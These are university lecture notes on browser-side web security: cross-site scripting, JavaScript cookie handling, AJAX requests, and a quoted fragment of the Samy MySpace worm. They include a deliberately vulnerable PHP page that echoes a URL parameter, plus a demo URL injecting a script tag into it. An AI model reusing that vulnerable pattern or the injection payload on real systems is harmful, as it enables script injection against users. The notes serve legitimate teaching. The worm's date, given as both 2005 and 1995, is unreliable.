Lecture 28: Web Security: Cross-Site Scripting and Other Browser-Side Exploits

Lecture Notes on "Computer and Network Security"

by Avi Kak (kak@purdue.edu)

April 21, 2022

5:30pm

Goals:

- JavaScript for handling cookies in your browser
- Server-side cross-site scripting vs. client-side cross-site scripting
- Client-side cross-site scripting attacks
- Heap spray attacks
- The `w3af` framework for testing web applications

CONTENTS

Back to TOC

28.1 Cross-Site Scripting — Once Again

- Earlier in Section 27.3 of Lecture 27 you saw an example of a **server-side** cross-site scripting attack through server-side injection of malicious code. In this section here, I will now give an example of a **client-side** cross-site scripting attack.

- As mentioned toward the end of Section 27.3 of Lecture 27, a cross-site scripting attack, abbreviated as **XSS**, commonly involves three parties. For the server-side XSS, the three parties are the attacker, a web-hosting service, and an innocent victim whose web browser is being exploited.

- For the client-side XSS, we again have three parties: an attacker who may work on a contract basis, an innocent victim, and a beneficiary of the attack. The attacker's goal is to get the innocent victim to click on a JavaScript bearing URL in order to cause the victim's browser to exfiltrate the cookies to a third party (the beneficiary of the attack) or to download malicious browser exploiting code from third parties. A client-side XSS is an example of UXSS, which stands for Universal XSS. [See the paper "Subverting Ajax" by Stefano Di Paola and Giorgio Fedon for other examples of UXSS. You can get to the paper by googling the author names.]

- That client-side XSS continues to be very important to web security can be judged by the number of entries (thousands) for such vulnerabilities for the year 2021 in the CVE list maintained by Mitre Corporation for the US Government:

  `http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=cross-site+scripting`

  As mentioned previously in Lecture 21, the CVE (Common Vulnerabilities and Exposures) is a continuously updated database of publicly disclosed security flaws in software systems. Each security flaw that CVE is made aware of is assigned a unique ID number. [These ID numbers play an important role in any discourse and downstream developments related to the flaws. Note that CVE only maintains the identifiers and brief descriptions for the security flaws. The technical details regarding the security flaws are maintained by other organizations such as U.S. National Vulnerability Database (NVD), the CERT/CC Vulnerabilities Notes Database.]

- For the simplest of the demos, the idea of a client-side XSS attack is to get a victim to click on a URL that causes the browser's JavaScript to execute malicious code. For what is perhaps the simplest demonstration of this, let's say that an attacker knows that the victim is highly likely to click on the following URL:

  `http://10.0.0.13/~kak/xss_client_side_simple_demo.html`

  and let's say that the document `xss_client_side_simple_demo.html` contains the following HTML:

```
<!DOCTYPE html>
<html>
<head>
```

```
    <title>Client Side XSS Simple Demo</title>
</head>
<body>
    <h1>Client Side XSS -- Simple Demo</h1>
    <p><?php echo $_GET['query']; ?>:</p>
</body>
</html>
```

Note that this HTML contains a call to PHP to echo back to the browser whatever the web server receives as the value of the `query` field.

Through social engineering or otherwise, the attacker may now get the victim to click on the following URL, which is the same as the one shown earlier, except that now there exists a `query` field in the URL string that will be received by the web server:

```
http://10.0.0.13/~kak/xss_client_side_simple_demo.html/?query=<script>alert('Do you agree?');</script>
```

Note that the value of the `query` field is a call to JavaScript's `alert` function with the argument string "Do you agree?".

When I do this experiment at home with my Apache web server running on a machine with the IP address `10.0.0.13` and I then click on the URL shown above in the URL window of another laptop that has the Firefox browser running in a Windows environment, I see a JavaScript produced prompt window that waits for my response with an "OK?" button.

- Since the client-side XSS attacks typically involve getting a victim's browser to execute a fragment of JavaScript, we will start in the next section with a brief review of this

language. [Client-side XSS attacks also involve other client-side scripting languages for web applications. These include VBScript, Flash, etc.]

Back to TOC

28.2 JavaScript: SOME QUICK HIGHLIGHTS

- JavaScript is meant specifically for browser-side computing.

- JavaScript is not allowed to interact with the local file system. [However, it can interact with the plugins for the browser and that can become a vulnerability, especially if the plugins have their own vulnerabilities.]

- JavaScript started out as a scripting language that consisted of commands that would be executed on the browser's computer for what is generally called "browser detection" and for form verification. To ensure that a web page was optimized separately for both the Internet Explorer and Firefox, a web server delivered a page that contained both ways of displaying an HTML object optimally — with the expectation that JavaScript would first figure out which browser was being used and then execute only those commands that were appropriate to that browser.

- In addition to the duties mentioned above, JavaScript is now widely used for producing mouse-rollover, animation, and other effects in web pages.

- For the purpose of understanding the rest of the discussion here, you mainly need to know that JavaScript is an object based language — in the sense that it uses the **dot operator** to invoke methods on objects. [While not fully object-oriented in the sense that C++ and Java are, JavaScript nonetheless has the notion of objects whose attributes can be accessed and whose methods invoked via the dot operator that is so basic to object-oriented programming.]

- The objects in JavaScript can be of the following types: `object`, `function`, and `array`. When a variable is assigned an instance of one of these three types, what the variable is set to is a reference to the instance — as in Java. JavaScript also has the notion of primitive types. For example, `number`, `boolean`, `null`, and `string` act as the primitive types. What we mean by that is that such a data object consists of a single literal in the memory. JavaScript also supports an object oriented wrapper for the string type. As a result, when a string is assigned to a variable, while that variable will act like any variable holding a primitive value, you will also be able to invoke the dot operator on it as you do on variables that hold references to objects. [Objects in JavaScript are like hashes in Perl or dictionaries in Python.]

- Probably one of the most important objects of type `object` in JavaScript programming is `window`. An instance of type `window` stands for the browser window that is currently open. An instance of `window` is automatically created for every occurrence of `<body>` or `<frameset>` tag in the downloaded HTML code. Every `window` object contains an instance of type

`screen`, an instance of type `navigator`, an instance of type `location`, an instance of type `history`, an instance of type `document`, an instance of type `self`, and an instance of type `frames`. Each of these seven objects is of type `object`.

- Of the seven objects listed above that are contained in a `window` object representing a browser window, the `document` object is very special because it represents the content of a web page. The `document` object maintains a DOM (Document Object Model) representation of the contents of a web document. The DOM model has three specifications, commonly referred to as DOM levels. DOM Level 0, the oldest, dealt mostly with giving access to the form elements, links, and images. The DOM Level 1 specification was issued in 1998 and DOM Level 2 in 2000.

- DOM represents the contents of a web page as a tree of nodes. An HTML document can be easily represented by a tree. The root node for every HTML document is the `html` element. Descending from this root are two child nodes, `head` and `body`, corresponding to the HTML elements of the same name; and so on. It is possible for a node to have one or more attributes. For example, the `a` element will most commonly have the attribute `href`.

- The `document` object supports methods to work with the nodes of the DOM representation of a document and to create new

child nodes when needed. For example, a child node representing a new HTML element can be added to the `document` parent by calling **`document.appendChild()`**.

- As mentioned, the **`document`** object, which represents all of the contents of a web page in the form of a DOM (Document Object Model) tree, has a number of very important methods defined for it that allow you to manipulate and animate the different elements in a web page. For example, if you have web page that has an HTML element with an ID attribute, you can retrieve it inside the JavaScript code by calling `document.getElementById("id")` where the argument is the string you used as the ID for the HTML element. For another useful example, suppose you want to pull into your JavaScript all of the paragraphs in your web page that you defined with the "p" elements, you can do so by invoking `var allParas = document.getElementsByTagName('p')` where `var allParas` means that we are defining **`allParas`** as a variable. This variable will be set to the array that is returned by the call to the method `getElementsByTagName()` of the `document` object.

- A quick way to learn JavaScript is through the tutorial at

  `http://www.w3schools.com/js/default.asp`.

Back to TOC

28.2.1 Managing Cookies with JavaScript

- Cookies are generally used to retain some data from one session to another between a client browser and a web server.

- Enterprise web servers often use cookies that are stored in the browsers to keep track of the interaction with their online customers from one visit to the next. In this manner, after a new client has been authenticated with, say, a password on the first contact, the cookies can be relied upon for subsequent automatic authentications. Cookies can also be used to store customer preferences, tracking how customers view a web page, and so on. [**IMPORTANT: Are you bothered by all the "popups" you see even after you have blocked the popups?** The popup-like things you see after you have blocked the popups are actually new instances of the browser window created by HTTP redirects. There are two things you need to do to control this nuisance: you need to control who gets to place cookies in your browser and you need to control which websites are allowed HTTP redirects. Both of these are easily accomplished in Firefox by extending the browser with *add-ons*. Click on the "Tools" menubutton at the top of your browser window and then click on the "Add-ons" button in the pull-down menu that you'll see. That will open up a new browser window with the following items on it: (1) Get Add-ons; (2) Extensions; (3) Appearance; and (4) Plugins. If you have previously installed any add-ons, you can see them and, if you want, disable them by clicking on the "Extensions" button. You can install new add-ons by clicking on "Get Add-ons". I highly recommend the following two add-ons: (i) Cookie Whitelist with Buttons; and (2) NoRedirect. Both of these take a

while getting used to, but after you have become comfortable with them, your internet surfing will be much more enjoyable and much more risk-free. I should also add that if you check the cookies already stored in your browser, don't be surprised if you see hundreds if not thousands of them. Most of these cookies have landed in your browser through the advertisements you see in practically all web pages these days. So, conceivably, if you find a large number of cookies in your browser, there are hundreds, and possibly thousands, of outfits out there who are keeping track of you and your browsing habits through their cookies. **If you really think about it, this is such a huge invasion of your privacy.** Additionally, the display of adware through popups and through separate browser instances created by HTTP redirects is controlled by these cookies. Only a very small number of outfits are allowed to place cookies in my computers. With the cookie whitelisting add-on, you can also allow cookies just on a one-session basis. If you don't use the cookie whitelister, you can try to use the cookie controller that comes with the browser. But note that that is a cookie blacklister. It is not as effective as it sounds. Let's say you blacklist cookies from `badgyus.net` through the blacklister that comes with Firefox. This organization will still be able to place cookies in your browser through the domain `more.badguys.net`.]

- Getting back to the subject of legitimate uses of cookies, we can rely on those cookies only to the extent we know that such cookies will not be stolen by third parties. As it turns out, it may be possible for third parties to steal cookies from an innocent client's browser by mounting what is known as a cross-site scripting attack. [Cross-site scripting used to be referred to by the acronym CSS when such attacks first made their appearance. The acronym used now for the same is XSS since CSS is most commonly associated with Cascading Style Sheets that are used for designing web pages.]

- In order to get you ready for the example presented later on how cookies can be stolen by third parties with a cross-site scripting attack, in the rest of this section I'll present an example of how JavaScript can be used to set and change cookies in a browser.

- Keeping in mind the goal as stated above, I will now show a web page whose purpose is to keep track of the wealth of a client using just cookies in the client's browser. [This is obviously a silly little example, but what it demonstrates is important. It shows how cookies can be used to maintain state from one session to another. A client downloading from the server the web page `WealthTracker.html` constitutes one session. Being able to maintain state between consecutive sessions means that we can use cookies to avoid having to re-authenticate the client after the first visit and to store whatever was gleaned from the client during his/her previous visit.] A clueless client may be expected to love this sort of a wealth tracker since the web server can provide to the client a guarantee that whatever wealth information the client enters in his/her browser will remain in the client's computer.

- Before I explain the JavaScript code used in the web page **`Wealth Tracker.html`**, fire up the Apache2 web server in your Ubuntu machine. As you will recall, the installation of Apache2 was addressed earlier in Section 19.4.2 of Lecture 19 and in Section 27.1 of Lecture 27.

- Now place the HTML file shown on the next page in the

`public-web` directory of your own account on the machine. You can call this web page from another machine in your network by pointing the browser on that machine to something like

```
http://10.0.0.11/~kak/WealthTracker.html
```

where the IP address `10.0.0.11` is that of the machine on which the web server is running.

- You will see a form in your browser with two text-entry boxes, one for your name and the other for your wealth, and with a "Submit Query" button. Enter a string for your name and an integer for your wealth, and then click on the submit button. When you click on the Submit button the first time, the browser will show you for verification the information you just entered in the form.

- Now just change the number in the "Wealth" box and see what happens. And do this repeatedly. You will see that this page keeps track of how many times you have visited the page in the past and how your wealth has changed from one visit to the next. As you enter the size of your wealth in the Wealth box, without changing the entry in the Name box, and click on the "Submit" button, you will see a popup in your browser that will announce something like: [If this demo is not working for you, it could be because you are using a cookie blocker. If you are using the Cookie Whitelister I

mentioned earlier, you can enable the cookies for just one session by clicking on the green circular button you will see at the right end of your URL bar.]

This is your visit number 6. Your wealth has changed by 290000

- At each visit to the web page, the browser will store a cookie that contains a string which looks like [The overall structure of a cookie is explained in the red-blue note on page 20 of this lecture]:

  ```
  6_visits_323456
  ```

  where the first number, in this case 6, means that the cookie with the string shown was stored in your 6^{th} visit to the web page, where the substring **visits** serves no real purpose, and where the last number is what you entered for the size of your wealth. [As you surely know already, you can see all the cookies in your browser through the "Preferences" menu button that is usually in the "Edit" drop-down menu listed at the top of your browser window.]

- Shown below is what is in the HTML file **WealthTracker.html**:

```
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
 "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html>
<head>
<title>Cookie Based Wealth Tracker</title>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<script type = "text/javascript">

// by Avi Kak (kak@purdue.edu)
// April 17, 2011 (slightly modified: April 18, 2013)
```

```
function setCookie( name, value, expires, path, domain, secure ) {
    var today = new Date();
    today.setTime( today.getTime() );
    if ( expires ) {
        expires = expires * 1000 * 60 * 60 * 24;
    }
    var expires_date = new Date( today.getTime() + (expires) );
    document.cookie = name + "=" +escape( value ) +
        ((expires) ? ";expires=" + expires_date.toGMTString() : "") +
        ((path)    ? ";path=" + path : "" ) +
        ((domain)  ? ";domain=" + domain : "" ) +
            ( ( secure ) ? ";secure" : "" );
}
function getSetCookie(name, info) {
    var all_cookies = document.cookie.split(';');
    var cooky = '';
    var nam   = '';
    var val   = '';
    for (i=0;i < all_cookies.length;i++) {
        cooky = all_cookies[i].split('=');
        nam = cooky[0].replace(/^\s+|\s+$/g, '');
        if (nam == name) {
            val = unescape( cooky[1].replace(/^\s+|\s+$/g, '') );
            val_parts = val.split('_');
            var howManyVisits = Number(val_parts[0]);
            var visit_portion   = val_parts[1];
            var prev_info = val_parts[2];
            if (prev_info) {
                var diff = info - prev_info;
                var msg = "This is your visit number " +
                                    (howManyVisits + 1) + ". " +
                             "Your wealth changed by " + diff;
                alert(msg);
            }
            var newCookieVal =
               (howManyVisits + 1) + '_' + visit_portion + '_' + info;
            setCookie( name, newCookieVal, 15 );
        } else {
            var cookieValue = "1_visits" + '_' + info;
            setCookie( name, cookieValue, 15 );
        }
    }
}
function deleteCookie(name, path, domain) {
    if ( getCookieValueForName( name ) ) {
        document.cookie = name + "=" +
                          ( (path)   ? "; path=" + path : "" ) +
                          ( (domain) ? "; domain "      : "" ) +
                          "; expires=Thu, 01-Jan-70 00:00:01 GMT";
    }
```

```
}

//function load() {
//    window.status="Checking user authentication";
//}

function checkEntry() {
    var body = document.getElementsByTagName( "body" );
    var msg = "The information you entered for verification: ";
    var doc_element = document.createElement( "p" );
    var textnode = document.createTextNode( msg );
    doc_element.appendChild( textnode );
    body[0].appendChild( doc_element );
    var nameEntered =  document.forms[0].yourname.value;
    var wealthEntered =
         document.forms["ACKentryform"].sizeofwealth.value;
    createHTML( nameEntered, wealthEntered );
    getSetCookie( nameEntered, wealthEntered );
    return false;
}

function createHTML( ) {
    var body = document.getElementsByTagName( "body" );
    for( var i=0; i < arguments.length; i++ ) {
        var argtext = arguments[i];
        var doc_element = document.createElement( "p" );
        var newtext = "You entered:         " + argtext;
        var textnode = document.createTextNode( newtext );
        doc_element.appendChild( textnode );
        body[0].appendChild( doc_element );
    }
}
</script>
</head>
<body>
<form id="ACKentryform" action="#" onsubmit="return checkEntry();" method="post">

<p> Enter your name and the size of your wealth in this form:</p>
<br>
<br>
<p>Your Name <em>(Required)</em>: <input id="yournamebox"
                                        name="yourname"
                                        type="text" />
</p>
<p>Size of Your Wealth: <input id="sizeofwealthbox" name="sizeofwealth" type="text" />
</p>
<p><input id="formsubmit" type="submit" /> </p>
</form>

</body>
</html>
```

- Here are some important things to know about the structure of the HTML page shown above:

  – All of the JavaScript code in the source for the web page is in the form of function definitions. A JavaScript function may be executed automatically upon the occurrence of an event or because it has been called in the portion of the code that is currently being executed.

  – All JavaScript on the page appears between the `<script>` and `</script>` tags.

  – If you examine what is in between the `<body>` and `</body>` tags, you will notice that the HTML source basically creates a web form with two text boxes, one for the entry of your name as a string and the other for the entry of the size of your wealth as a number.

```
<form id="ACKentryform" action="#" onsubmit="return checkEntry();" method="post">
<p> Enter your name and the size of your wealth in this form:</p>
<br>
<br>
<p>Your Name <em>(Required)</em>: <input id="yournamebox"
                                        name="yourname"
                                        type="text" />
</p>
<p>Size of Your Wealth: <input id="sizeofwealthbox" name="sizeofwealth" type="text" />
</p>
<p><input id="formsubmit" type="submit" /> </p>
</form>
```

– Note in particular the opening tag in the above declaration of the `form` element. [In this tag, as you saw in the HTML example in Section 27.3 of Lecture 27, ordinarily the value specified for the attribute `action` in the first line mentions the server program whose job is to process the information that a user places in the form. However, in our case, this form is not supposed to send anything back to the server (remember, we want all the "wealth" information to stay in the client's machine). We ensure that the form data will NOT be sent back to the web server by setting `action` to '#'. To supply the client-side function that is supposed to process the form data, we specify that by making it the value of the `onSubmit` attribute. So when the user clicks on the "Submit" button of the form, whatever the user entered in the form will be processed by the JavaScript method `checkEntry()`. As in Section 27.3 of Lecture 27, the `method` attribute specifies whether the form should be sent back to the server with the HTTP GET method or the HTTP POST method (the default is GET). In our case, since the `action` does NOT specify that the form be sent to the server, the value given to the `method` attribute does not matter.]

– When your browser points to the above form, you will see something like the following in your browser window:

```
Enter your name and the size of your wealth in this form:
Your name (Required):  ___________
Size of your wealth:   ___________
SUBMIT
```

- Since a user clicking on the **`Submit`** button of the form invokes the function **`checkEntry()`**, let's start there our explanation of the JavaScript in the form. Here is the code again for this

function:

```
function checkEntry() {                                                    //(A)
    var body = document.getElementsByTagName( "body" );                    //(B)
    var msg = "The information you entered for verification: ";            //(C)
    var doc_element = document.createElement( "p" );                       //(D)
    var textnode = document.createTextNode( msg );                         //(E)
    doc_element.appendChild( textnode );                                   //(F)
    body[0].appendChild( doc_element );                                    //(G)
    var nameEntered =  document.forms[0].yourname.value;                   //(H)
    var wealthEntered =
         document.forms["ACKentryform"].sizeofwealth.value;                //(I)
    createHTML( nameEntered, wealthEntered );                              //(J)
    getSetCookie( nameEntered, wealthEntered );                            //(K)
    return false;                                                          //(L)
}
```

Note first of all that JavaScript functions are defined with the keyword `function` and that the local variables defined with the keyword `var`. The purpose of the code in lines (B) through (J) is to create a verification message that will be printed in the browser just below the form showing the user what information he/she just entered in the form. You can think of this as a verification step that the user might appreciate. [To understand this code, recall that JavaScript creates a `window` object for each currently open window in your browser. This `window` object contains a `document` object that is the DoM (Document Object Model) of the web page that is displayed in the browser window. Again as mentioned previously, **all** of the objects contained in the `window` object can be accessed directly, that is, without the dot operator. So invoking `document` by itself returns the DoM tree structure. On the other hand, invoking `document.getElementByTagName("body")` returns the contents of the HTML element `body`. The reason we want to get hold of this element is that we want to enter into it the message "`The information you entered for verification:`" We

compose the message in line (D), create an HTML `p` element in line (D) and a text element from the message in line (E). Line (F) makes the text element a child of the `p` element. Finally, we incorporate the new `doc_element` in the HTML `body` element in line (G). We then extract in lines (H) and (I) the information that the user entered in the form. Eventually, we ask the `createHTML()` method to incorporate this information in the browser window below the message shown above. [Lines (B) though (J) also provide a simple example of how JavaScript can be used to create HTML content dynamically.] As far as cookies are concerned, our story really begins in line (K) of the `checkEntry()` function. This is in the form of the call `getSetCookie(nameEntered, wealthEntered)`. Note that line (L) returns `false` because the function `checkEntry()` is our `onSubmit` event handler — the `onSubmit` event occurs when the user clicks on the `Submit` button — and, if this event handler were to return `true`, the form would be sent back to the server.]

- We are now ready to talk about the JavaScript code in

```
function getSetCookie(name, info) {                                    //(A)
    var all_cookies = document.cookie.split(';');                      //(B)
    var cooky = '';                                                    //(C)
    var nam   = '';                                                    //(D)
    var val   = '';                                                    //(E)
    for (i=0;i < all_cookies.length;i++) {                             //(F)
        cooky = all_cookies[i].split('=');                             //(G)
        nam = cooky[0].replace(/^\s+|\s+$/g, '');                      //(H)
        if (nam == name) {                                             //(I)
            val = unescape( cooky[1].replace(/^\s+|\s+$/g, '') );      //(J)
            val_parts = val.split('_');                                //(K)
            var howManyVisits = Number(val_parts[0]);                  //(L)
            var visit_portion   = val_parts[1];                        //(M)
            var prev_info = val_parts[2];                              //(N)
            if (prev_info) {                                           //(O)
                var diff = info - prev_info;                           //(P)
                var msg = "This is your visit number " +
                                    (howManyVisits + 1) + ". " +
                          "Your wealth changed by " + diff;            //(Q)
                alert(msg);                                            //(R)
```

```
            }
            var newCookieVal =
               (howManyVisits + 1) + '_' + visit_portion + '_' + info;//(S)
            setCookie( name, newCookieVal, 15 );                      //(T)
        } else {                                                      //(U)
            var cookieValue = "1_visits" + '_' + info;                //(V)
            setCookie( name, cookieValue, 15 );                       //(W)
        }
    }
}
```

To explain this code, note that a host from which the web page is downloaded may create multiple cookies in your browser. If that is the case, the command **`document.cookie`** will retrieve from them all the first "name=value;" pair in each. This is accomplished in line (B). [**A cookie consists of "name=value" pairs and, in general, there can be four such *pairs* in a cookie, OF WHICH ONLY THE FIRST IS REQUIRED.** As for what is in these four pairs: **(1)** For the first pair, the code writer must decide what to call a cookie and what to set its value to. In the code shown above, I set the name of the cookie to the name the user entered as his/her name in the form, and I set the value to a specially formatted string that is a concatenation of the visit number, the word "visit", and the size of the wealth entered by the user. **(2)** About the optional second "name=value" pair, the "name" must be "expires" and its value the expiration date. If this pair is not specified, the cookie only lives as long as the current session between the client and the server. **(3)** The name in the third pair is "path" that by default will be set to the document root '/' at the server. When set explicitly, it can be made specific to a sub-directory of the of the document root, implying that a cookie will be used only for HTML files coming from those subdirectories. **(4)** The name in the fourth pair is "domain". By default it is set to the symbolic hostname (or the IP address when the hostname is not available) of site where the web server is located. It can however be set to the sub-domain of that domain. A cookie may also have two other optional tags: "secure" and "httponly". These are boolean in the sense that their presence in a cookie affects how the cookie is allowed to be accessed. If the tag "secure" is present, a cookie can only be set in an HTTPS session. And when the tag "httponly" is

present, client-side scripts are not allowed to access the cookie. To understand line (G), note that `all_cookies[i]` will be set to the first "name=value" pair in the i^{th} cookie. So the call to `split()` breaks this pair into its "name" part and the "value" part. Line (H) removes any white-space characters that may be sticking to the beginning or the end of the name part of the cookie. Line (I) proceeds to check if the cookie we are looking at was set by the person who has just filled out the wealth tracker form. In line (J) we access the value part of the cookie; we clean it up in the same manner we cleaned the name part. To understand the code in lines (K) through (R), recall what I said earlier about what is stored in a cookie by the wealth tracker web page. The cookie that is stored consists of three parts separate by the "_" character: the first part is what numbered visit the current web page download represents, the second part the word "visit", and the third part a number which is the size of the wealth entered by the user. In lines (K) through (R), we separate out these three parts, we add one to the number of visits, update the size of the wealth, calculate the difference between the wealth size and the new wealth size, and then display the change in an alert box in the browser. Finally, in lines (S) we figure out the new value for the current cookie; it is set in the browser in line (T). Obviously, if this happens to be the first visit by the user, the code in lines (I) through (T) would not be executed. In this case, we set the cookie as shown in lines (V) and (W).]

- With all of the cookie related information provided so far and how JavaScript processes the cookies, it should not be too difficult to understand the rest of the JavaScript code in the HTML file that was shown earlier.

Back to TOC

28.2.2 Getting JavaScript to Download Information from the Server

- It is important to study the code that I show in this section because of the role such code has played in some of the JavaScript based worm exploits. [The famous — or, should we say notorious — **Samy worm** that invaded the MySpace social networking site in 2005 used the sort of browser-to-server communication that is shown in this section. (If we want to be strict about the distinction between viruses and worms as explained in Lecture 22, Samy should be called a virus and not a worm. When a MySpace user viewed an infected profile, it was that act which infected the profiles linked to his profile. The malware did NOT jump on its own from machine to machine.) The basic action of the virus was to add the virus creator's name to the list of heroes of the other MySpace users. What made the virus sinister was that it was a self-replicating piece of code. The virus was concocted to attach itself to the profile of any MySpace user who viewed an the already infected profile of some other friend. This obviously caused the worm to jump from profile to profile. (A profile is simply an HTML-based web page.) Keeping in mind what you learned in Lecture 26 that, on the average, any two human beings are separated by a small number of "degrees of freedom" — typically six — it is not surprising that this virus infected the profiles of a millions MySpace users in less than a day. It must also be mentioned that the code used in the Samy malware was highly obfuscated in order to get past the filters at the MySpace server. As a small example of obfuscation, since the servers would not let through any code that contained the string `JavaScript`, the writer of Samy simply placed the newline character `'\n'` between the "Java" and "Script" portions of the string. Since browser parsers usually ignore all white-space characters (and that includes the newline character), the two substrings still looked like the single string "JavaScript" to most browsers, but the string matcher in the server filter was obviously fooled.]

- The JavaScript code that I show in this section is by Alejandro Gervasio. It was posted by him at

  http://www.devarticles.com/c/a/JavaScript/JavaScript-Remote-Scripting-Fetching-Server-Data-with-the-DOM/

- In the code shown below, `sendRequest(document)` uses the HTTP GET method to send the request to the server for the `document` you want JavaScript to download. The job of the function `stateChecker()` is to check on the status of the request. As you surely know, if a web browser receives the status number 200 from a server, that means that the browser's request was successfully fulfilled by the server. When `stateChecker()` realizes that such is the case, it sets up a container to display the received document in the browser window. The function `createDataContainer()` is for creating a panel in the browser window for displaying the downloaded document and the method `displayData()` for actually displaying the data.

- You will notice the following statement in the function `displayData()`:

```
setTimeout('displayData()',2*1000);
```

  To understand the role of the timer here, you also need to look at the following statement in `stateChecker()`:

```
data = xmlobj.responseText.split('|');
```

What this statement does is to split the received document on the character '|'. Each piece will then be shown for 5 seconds on account of the $5 * 1000$ portion of the `setTimeout()` statement. This argument is supposed to signify the number of milliseconds for which you want the display to show a given piece of information.

- You will also notice that this page has only scripts. Its `<body>` element is empty. All of the information that is displayed in the browser is fetched from the server through the JavaScript code.

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>REMOTE SCRIPTING WITH AJAX</title>
<script type="text/javascript">
//
//
//    This code was authored by
//
//         Alejandro Gervasio   2005-09-21
//
//    The code was posted at www.devarticles/com
//

// initialize XMLHttpRequest object
var xmlobj=null;
// initialize global variables
var data=new Array();
var i=0;

// send http request
function sendRequest(doc){
    // check for existing requests
    if(xmlobj!=null&&xmlobj.readyState!=0&&xmlobj.readyState!=4){
        xmlobj.abort();
    }
    try{
```

```
            // instantiate object for Firefox, Nestcape, etc.
            xmlobj=new XMLHttpRequest();
        }
        catch(e){
            try{
                // instantiate object for Internet Explorer
                xmlobj=new ActiveXObject('Microsoft.XMLHTTP');
            }
            catch(e){
                // Ajax is not supported by the browser
                xmlobj=null;
                return false;
            }
        }
        // assign state handler
        xmlobj.onreadystatechange=stateChecker;
        // open socket connection
        xmlobj.open('GET',doc,true);
        // send request
        xmlobj.send(null);
    }

    // check request status
    function stateChecker(){
        // if request is completed
        if(xmlobj.readyState==4){
            // if status == 200 display text file
            if(xmlobj.status==200){
                // create data container
                createDataContainer();
                // display data into container
                data=xmlobj.responseText.split('|');
                displayData();
            }
            else{
                alert('Failed to get response :'+ xmlobj.statusText);
            }
        }
    }

    // create data container
    function createDataContainer(){
        var div=document.createElement('div');
        div.setAttribute('id','container');
        if(div.style){
            div.style.width='500px';
            div.style.height='45px';
            div.style.padding='5px';
            div.style.border='1px solid #00f';
            div.style.font='bold 11px Tahoma,Arial';
            div.style.backgroundColor='#eee';
```

```
        document.getElementsByTagName('body')[0].appendChild
(div);
    }
}

// display data at a given time interval
function displayData(){
    if(i==data.length){i=0};
    document.getElementById('container').innerHTML=data[i];
    i++;
    //setTimeout('displayData()',20*1000);
    setTimeout('displayData()',5*1000);
}

// execute program when page is loaded
window.onload=function(){
    // check if browser is DOM compatible
    if(document.getElementById &&
       document.getElementsByTagName &&
       document.createElement){
        // load data file
        sendRequest('technews.txt');
    }
}
</script>
</head>
<body>
</body>
</html>
```

- I recommend you fire up your Apache2 web server on your Ubuntu machine. Place the above as an HTML file in the `public-web` directory of your own account on the machine and then use another machine in your network to fetch documents with the script shown above. Note that script will fetch the document that is specified as the argument to `sendRequest()` statement in the last line of the script. Right now it says `technews.txt`, but you can obviously make it anything you wish. I placed the script in a file with the name `js_getdata_from_server.html`. Assuming that this page is being served out by the Apache server on your Ubuntu laptop,

for demonstrating the script in a classroom, you would point the classroom PC browser to a URL that would look like:

```
http://10.185.42.199/~kak/js_getdata_from_server.html
```

- Make sure that the document you fetch with the above script is partitioned into different segments by the '|' character, unless you wish to change the final argument in the statement

```
data = xmlobj.responseText.split('|');
```

in the `stateChecker()` function.

- Shown below is the `getXMLObj()` function from the Samy virus. Note the similarities between the implementation of this function and the function `sendRequest()` in the code by Alejandro Gervasio shown above. The virus uses the same mechanism for downloading a page from the originating server as in the example by Gervasio.

```
//  This code fragement is from  Samy  virus:

function getXMLObj(){
    var Z=false;
    if(window.XMLHttpRequest){
        try{
            Z=new XMLHttpRequest()
        } catch(e) {Z=false}
    } else if(window.ActiveXObject){
        try{
```

```
                Z=new ActiveXObject('Msxml2.XMLHTTP')
            } catch(e) {
                try{
                Z=new ActiveXObject('Microsoft.XMLHTTP')
                } catch(e) {Z=false}
            }
        }
        return Z
    }
```

- A noteworthy aspect of the Samy infection was that the MySpace server did NOT play an active role in the spread of the infection. [It is true that the profiles of all MySpace users were stored on the server and any profile to profile infection had to pass through the communication interfaces of the server. Nonetheless, it would be correct to say that the server itself did not contribute directly to the spread of the malware.]

Back to TOC

28.3 EXPLOITING BROWSER VULNERABILITIES

- While the notions of port scanning and IP-address block scanning are commonly associated with the spread of malware (see Lecture 22), it is less commonly appreciated that malware can spread rapidly even without the usual active scanning of ports and IP address blocks.

- As mentioned in the previous section, the fact that Samy virus was able to infect a million MySpace users in just a few hours in 1995 was a wake-up call to there existing other vectors for rapid malware propagation.

- Since then, folks have discovered several other ways in which malware infections can spread. In several of these new modes, it is the web browsers that are exploited to either reveal the information that is meant to be private between a web server and a web browser or to run shellcode with more pervasive harmful effects on the machine in which the browser is run.

- Two of these new modes affecting the browsers that have received much attention lately are the **cross-site scripting**

attack and the **heap spray attack**. These two attacks are the focus of the next two sections.

- The cross-site scripting (XSS) demonstration presented in the next section deals solely with the stealing of cookies by third parties. It must be mentioned that there exists another mode of XSS attacks that involves the `<iframe>` HTML tag which allows a web page to incorporate the contents of another web page. Just imagine the following: A client clicks on a link and it causes the injection of some malicious code into the web page that the client just downloaded from a server. Assume that this code is incorporated into the web page with the `<iframe>` tag but with zero display. So the client will not see any visual change in his/her browser. The downloaded malware could then proceed to do its evil deeds unbeknownst to the victim. Such an exploit can also be brought about by seeding the web page at the server with malware, as you saw in Section 27.3 of Lecture 27. You may also want to check out the example code at `http://www.bindshell.net/papers/xssv.html` in an article by Wade Alcorn.

- The reader should also become familiar with "The Open Web Application Security Project" (OWASP) that is focused on improving the security of web application software. Here is link for OWASP: `https://www.owasp.org/index.php/Main_Page`

Back to TOC

28.4 STEALING COOKIES WITH A CROSS-SITE SCRIPTING ATTACK

- As alluded to in the first section of this lecture, in Section 27.3 of Lecture 27 you have already seen an example of server-side injection of malicious code as an example of a server-side cross-site scripting attack. I will now give an example of a client-side cross-site scripting attack.

